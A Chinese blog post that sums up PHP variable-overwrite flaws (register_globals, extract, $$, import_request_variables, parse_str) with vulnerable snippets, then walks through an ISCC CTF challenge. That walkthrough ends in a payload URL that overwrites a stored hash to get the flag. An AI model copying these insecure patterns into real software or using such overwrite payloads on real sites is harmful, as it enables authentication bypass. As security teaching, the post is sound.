PHP变量覆盖总结
最近做ctf遇到了很多次变量覆盖的问题,总结一下
register_global
全局变量注册,本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。
当在php.ini开启register_globals= On时,代码中的参数会被用户提交的参数覆盖掉。
看例子
1<?php
2echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";
3if ($auth) {
4 echo "覆盖!";
5}else{
6 echo "没有覆盖";
7}
当访问http://127.0.0.1/1.php
时输出没有覆盖
但是当请求http://127.0.0.1/1.php?auth=1
时会覆盖掉$auth
输出覆盖
。
extract()
从数组中将变量导入到当前的符号表 直接看代码
1<?php
2$auth=false;
3extract($_GET);
4
5if ($auth){
6 echo "over";
7}
同样请求http://127.0.0.1/1.php?auth=1
时会覆盖掉$auth
输出over
。
$$
$$
符号在php中叫做可变变量
,可以使变量名动态设置。举个例子
1<?php
2$a='hello';
3$$a='world';
4echo "$a ${$a}";
5echo "$a $hello";
6?>
可以看到在这里${$a}
等同于$hello
,接着我们再来看怎么来进行变量覆盖
1$auth=0;
2foreach ($_GET as $key => $value) {
3 $$key=$value;
4}
5echo $auth;
在第二行中遍历了全局变量$_GET
,第三行将key当作变量名,把value赋值。
那么我们传入http://127.0.0.1/1.php?auth=1
时会将$auth
的值覆盖为1
import_request_variables
将 GET/POST/Cookie 变量导入到全局作用域中,如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。那么和register_globals存在相同的变量覆盖问题。
1$auth = '0';
2import_request_variables('G');
3
4if($auth == 1){
5 echo "over!";
6}
同样传入http://127.0.0.1/1.php?auth=1
时会将$auth
的值覆盖为1,输出over!
parse_str()
将字符串解析成多个变量
1$a='aa';
2$str = "a=test";
3parse_str($str);
4echo ${a};
可以看出来将$str解析为$a='test'
,与parse_str()类似的函数还有mb_parse_str(),不在赘述。
我们来看一道ctf题,在我上一篇文章ISCC的web4中也提到了.
源代码
1<?php
2error_reporting(0);
3include("flag.php");
4$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
5$parsed = parse_url($_SERVER['REQUEST_URI']);
6if(isset($parsed["query"])){
7 $query = $parsed["query"];
8 $parsed_query = parse_str($query);
9 if($parsed_query!=NULL){
10 $action = $parsed_query['action'];
11 }
12
13 if($action==="auth"){
14 $key = $_GET["key"];
15 $hashed_input = hash('sha256', $key);
16 if($hashed_input!==$hashed_key){
17 die("no");
18 }
19
20 echo $flag;
21 }
22}else{
23 show_source(__FILE__);
24}?>
在第五行将请求的URI通过parse_url()
解析后赋值给$parsed
变量。
在第八行将我们提交的query
参数使用parse_str
解析,这时就产生了变量覆盖的问题,我们可以通过query提交参数去覆盖变量。
接着往下看$hashed_input!==$hashed_key
成立输出flag,此时$hashed_input
我们可控,那么我们可以覆盖掉$hashed_key
来使条件成立
$hashed_input = hash('sha256', $key);
是sha256加密,那么我们可以传入key=a
,此时$hashed_input
等于ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb
。
然后覆盖$hashed_key
,传入query=&hashed_key=ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb
覆盖掉。
这时payload为
1http://39.100.83.188:8066/?query=&hashed_key=ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb&action=auth&key=a
拿到flag
总结
代码审计中变量覆盖还算好找,希望自己细心,也希望这篇文章对大家有用处。